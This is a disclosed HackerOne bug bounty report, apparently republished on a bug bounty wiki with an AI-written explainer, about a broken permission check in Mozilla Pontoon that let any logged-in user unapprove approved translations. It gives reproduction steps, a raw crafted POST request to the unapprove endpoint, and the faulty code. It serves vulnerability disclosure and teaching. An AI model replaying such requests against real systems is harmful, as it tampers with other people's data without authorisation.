[Vertical Privilege Escalation] User can Unapproved any Approved Translation at [/translations/unapprove/]
Any logged-in user could unapprove any approved translation, even without the required privileges, due to a logic error in the permission check. This allowed unauthorised users to alter the approval status of translations.
Originally disclosed on HackerOne
- Triaged in 4 days
- Fixed in 16 days
- Paid in 16 days
- Disclosed after 13 months
Hi, team. During testing, I discovered that only privileged users or translation owners can unapprove an approved translation, but due to logical errors, any logged-in user can unapprove any approved translation.
Steps To Reproduce:
-
Go to
https://mozilla-pontoon-staging.herokuapp.com/and log in to your account. -
Click on
Teamsand select any team from the menu.


- Now, from the next menu, select any project and then select any resource you want.


- After that, you will have a list of strings that you can translate.

- Select any string and you will see an already approved translation with green
ticksymbol.

-
You can check that you can't unapprove that translation because you don't have the required privileges.
-
Now, prepare your proxy to capture requests and reload that page.
-
In proxy history, you will see a request to the
/get-history/endpoint. Like this one.

- In response to that request, you will find the approved translation
ID. Copy that.

- Now replace the session cookies, Anti-CSRF token, and Translation ID in this request and send this request.
POST /translations/unapprove/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/nl/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: ZhBI0LAYVXMG0ZNaUkqXMClUDquhZsfC8o1AlKRQTdTeJ4SCBXLDyi7aw0bWBBxx
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 52
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
translation=5184479&paths%5B%5D=LC_MESSAGES%2Famo.po
-
You will see
200 OKresponse. -
Reload the page, and you will see that the translation has been unapproved by a non-privileged user.
██████
- This is the code snippet responsible for the bug.
https://github.com/mozilla/pontoon/blob/main/pontoon/translations/views.py#L361
# Only privileged users or authors can un-approve translations
if not (
request.user.can_translate(locale, project)
or request.user == translation.user
or translation.approved
):
return JsonResponse(
{
"status": False,
"message": "Forbidden: You can't unapprove this translation.",
},
status=403,
)
translation.unapprove(request.user)
- Here the developer checks if
translation.approvedthen if statement has been bypassed and translation get unapproved.
Impact
The user can perform actions that he is not authorized to do.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The permission check incorrectly included 'or translation.approved', so any approved translation bypassed the privilege requirement.
Impact
A non-privileged user could unapprove any approved translation, performing an action they are not authorised to do.
What the attacker needed
A free account; victim has an approved translation
The fix
The permission check should be corrected so that being approved does not bypass the privilege requirement.
How it was found
- Log in to the application.
- Navigate to a team, project, and resource with translations.
- Find an approved translation and note its ID from the history endpoint.
- Capture the unapprove request and replace the translation ID with the target ID.
- Send the request and observe a 200 OK response.
- Reload the page to confirm the translation is unapproved.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In many websites, some actions are restricted to certain users, like moderators. Here, the check that decides who can unapprove a translation had a mistake: it let anyone do it if the translation was already approved. So a normal user could undo a moderator's approval.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.